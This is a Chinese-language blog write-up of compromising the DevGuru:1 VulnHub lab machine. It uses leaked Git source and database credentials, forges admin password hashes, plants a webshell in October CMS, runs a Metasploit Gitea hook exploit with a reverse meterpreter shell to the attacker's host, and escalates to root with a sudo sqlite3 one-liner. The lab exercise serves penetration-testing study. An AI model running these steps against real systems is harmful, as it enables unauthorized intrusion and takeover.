希望和各位大佬一起学习,如果文章内容有错请多多指正,谢谢!
个人博客链接:CH4SER的个人BLOG – Welcome To Ch4ser's Blog
DevGuru 靶机下载地址:DevGuru: 1 ~ VulnHub
目录
0x02 Web漏洞利用 - Webshell写入&CVE-2020-14144
0x03 权限提升 - SUDO&CVE-2021-3156
0x01 信息收集
Nmap扫描目标主机,发现开放22、80、8585端口,分别运行OpenSSH 7.6p1、Apache httpd 2.4.29服务。
访问80端口页面如下。Wappalyzer显示操作系统为Ubuntu,CMS为October CMS,数据库管理器为Adminer 4.7.7,编程语言为PHP、GO。
DirSearch扫描80端口网站目录,发现存在Git源码泄露、管理员后台登录地址、数据库管理器地址。
python dirsearch.py -u "http://192.168.196.139/" -z yes
数据库管理器:http://192.168.196.139/adminer.php
管理员后台登录:http://192.168.196.139/backend/backend/auth
访问8585端口,发现是一个Gitea网站(一款使用Golang编写的可自运营的代码管理工具)。
0x02 Web漏洞利用 - Webshell写入&CVE-2020-14144
由于80端口网站存在Git源码泄露,通过GitHack下载其Git源码,如下:
python GitHack.py -u "http://192.168.196.139/.git/"
翻阅源码,发现 /config/database.php存在MySQL数据库账号密码泄露,用户为october。
'database' => 'octoberdb',
'username' => 'october',
'password' => 'SQ66EBYx4GT3byXH',
使用october的账号密码登录Adminer(数据库: octoberdb),在backend_users表观察到用户frank的password hash,尝试使用john解密失败,但得知其加密方式为bcrypt。
使用在线网站生成bcrypt密码hash值,如下:
bcrypt hash在线生成:Bcrypt-Generator.com - Generate, Check, Hash, Decode Bcrypt Strings
新建用户ch4ser,将生成的hash填入password,并设置is_superuser=1,如下:
PS:另一种方法
新增用户ch4ser,password选择encrypt,is_superuser选择1。在backend_users_groups表将用户ch4ser添加到管理员组。这种方法不具有普遍性,这里能用是因为password可以选择encrypt。
在管理员后台成功登录用户ch4ser。选择左上角CMS模块,观察到访问/blog路由会触发onStart()方法。
于是新建一个模板shell,尝试触发onStart()方法写入webshell。访问/shell报错,通过报错信息得知webshell写入成功。
蚁剑连接webshell成功,翻阅目录找到了备份文件/var/backups/app.ini.bak,其中存在另一个用户gitea的MySQL账号密码泄露。
DB_TYPE = mysql
HOST = 127.0.0.1:3306
NAME = gitea
USER = gitea
PASSWD = UfFPTF8C8jjxVF2m
使用gitea的账号密码登录Adminer(数据库: gitea),在user表观察到Gitea管理员frank的密码加密算法为pbkdf2,还有rand和salt看似是加密的。
尝试使用john、hashcat破解Gitea管理员frank的密码,未成功。
在GitHub找到Gitea源码,在该存储库下搜索关键字"pbkdf2",其使用pbkdf2算法进行加密,生成长度为50的hash值,迭代次数为10000,Salt就是之前的Bop8nwtUiM。
Gitea源码地址:https://github.com/search?q=repo%3Ago-gitea%2Fgitea+pbkdf2&type=code
使用在线网站生成pbkdf2密码,填写已知信息Salt、明文、迭代次数、生成的hash长度。
Salt=Bop8nwtUiM
Plain-text=123456
Iterations=10000
Key size (bytes)=50
替换Gitea管理员frank的密码hash值,成功登录8585端口的Gitea。
MSF搜索Gitea相关漏洞发现CVE-2020-14144,该漏洞需要认证才可使用,我们现在已满足条件,设置好options然后run,成功拿下frank的普通用户权限。
msf6 > use exploit/multi/http/gitea_git_hooks_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/gitea_git_hooks_rce) > set username frank
username => frank
msf6 exploit(multi/http/gitea_git_hooks_rce) > set password 123456
password => 123456
msf6 exploit(multi/http/gitea_git_hooks_rce) > set rhosts 192.168.196.139
rhosts => 192.168.196.139
msf6 exploit(multi/http/gitea_git_hooks_rce) > set rport 8585
rport => 8585
msf6 exploit(multi/http/gitea_git_hooks_rce) > set lhost 192.168.196.128
lhost => 192.168.196.128
msf6 exploit(multi/http/gitea_git_hooks_rce) > run
或者直接复现该漏洞也行,进入项目 >> Settings >> Git Hooks >> Update 写上bash反弹命令保存,Kali这边nc监听,更新项目任意文件即可收到会话。
0x03 权限提升 - SUDO&CVE-2021-3156
上传综合辅助探测脚本LinEnum.sh至目标主机/tmp目录下,给予执行权限执行。
辅助项目下载地址:GitHub - rebootuser/LinEnum: Scripted Local Linux Enumeration & Privilege Escalation Checks
检测到sudo版本为1.8.21p2,且检测到NOPASSWD的SUDO命令:/usr/bin/sqlite3
查询GTFOBins得知sqlite3的SUDO提权方式如下,启用一个新的root权限的bash。
GTFOBins地址:
但实测以上命令不行,原因是sudo版本不符合利用条件,使用以下命令成功拿到root权限和flag:
sudo -u#-1 sqlite3 /dev/null '.shell /bin/sh'
另外也可以通过sudo本身漏洞提权,只要版本符合CVE-2021-3156利用条件或者执行命令 sudoedit -s / 报错,漏洞即存在。